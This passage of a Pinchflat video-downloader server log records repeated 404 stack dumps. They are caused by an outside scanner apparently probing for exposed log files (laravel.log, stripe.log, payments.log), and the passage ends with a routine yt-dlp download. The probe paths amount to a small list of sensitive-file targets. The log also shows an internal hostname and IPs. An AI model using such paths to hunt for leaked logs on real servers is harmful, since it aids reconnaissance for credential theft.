["error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-7J8WvWUXsYAAHqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/error.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50416}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/error.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50416}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3529.0>, params: %{}, path_info: ["error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-7J8WvWUXsYAAHqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/p (truncated) 21:08:47.283 [info] GET /storage/logs/laravel.log 21:08:47.284 [debug] QUERY OK source="settings" db=0.5ms idle=57.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.285 [debug] QUERY OK source="settings" db=0.2ms idle=58.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.285 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.285 [error] #PID<0.3531.0> running PinchflatWeb.Endpoint (connection #PID<0.3530.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/logs/laravel.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/logs/laravel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/laravel.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50422}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3531.0>, params: %{}, path_info: ["storage", "logs", "laravel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/logs/laravel.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-7PIP3vjJPsAASCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/laravel.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50422}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/logs/laravel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/laravel.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50422}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3531.0>, params: %{}, path_info: ["storage", "logs", "laravel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/logs/laravel.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-7PIP3vjJPsAASCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, statu (truncated) 21:08:47.357 [info] GET /storage/logs/stripe.log 21:08:47.358 [debug] QUERY OK source="settings" db=0.3ms idle=102.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.359 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=96.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.359 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.359 [error] #PID<0.3533.0> running PinchflatWeb.Endpoint (connection #PID<0.3532.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/logs/stripe.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/logs/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/stripe.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50432}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3533.0>, params: %{}, path_info: ["storage", "logs", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/logs/stripe.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-7gss1eu6hkAAHsC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/stripe.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50432}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/logs/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/stripe.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50432}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3533.0>, params: %{}, path_info: ["storage", "logs", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like (truncated) 21:08:47.419 [info] GET /storage/logs/payments.log 21:08:47.419 [debug] QUERY OK source="settings" db=0.3ms idle=156.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.420 [debug] QUERY OK source="settings" db=0.3ms idle=135.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:47.420 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:47.421 [error] #PID<0.3535.0> running PinchflatWeb.Endpoint (connection #PID<0.3534.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/logs/payments.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/logs/payments (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/payments.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50440}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3535.0>, params: %{}, path_info: ["storage", "logs", "payments"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/logs/payments.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-7vcy3bTwgIAASEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/payments.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50440}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/logs/payments (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/logs/payments.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50440}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3535.0>, params: %{}, path_info: ["storage", "logs", "payments"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53 (truncated) 21:08:48.724 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zq_xrmmyWCE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/17/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/99/10/9910b0b2cb40cc094332b75dae2d0c26100a4ae120e539dae8aa8d8b8b2ea509.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:08:48.724 [debug] QUERY OK db=0.0ms idle=1366.1ms begin [] 21:08:48.725 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:08:46Z], "/downloads/Last Meals/2025-08-19 Colman Domingo Eats His Last Meal/Colman Domingo Eats His Last Meal [zq_xrmmyWCE].mp4", ~U[2026-03-28 01:08:48Z], 17] 21:08:48.725 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/17/metadata.json.gz", "/config/metadata/media_items/17/thumbnail.jpg", 17, ~U[2026-03-28 01:08:48Z], ~U[2026-03-28 01:08:48Z]] 21:08:48.725 [debug] QUERY OK db=0.1ms commit [] 21:08:48.727 [debug] QUERY OK source="media_items" db=0.7ms idle=1367.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [445822196, ~U[2026-03-28 01:08:48Z], 17] 21:08:48.727 [info] User scripts lifecyle file either not present or is empty. Skipping. 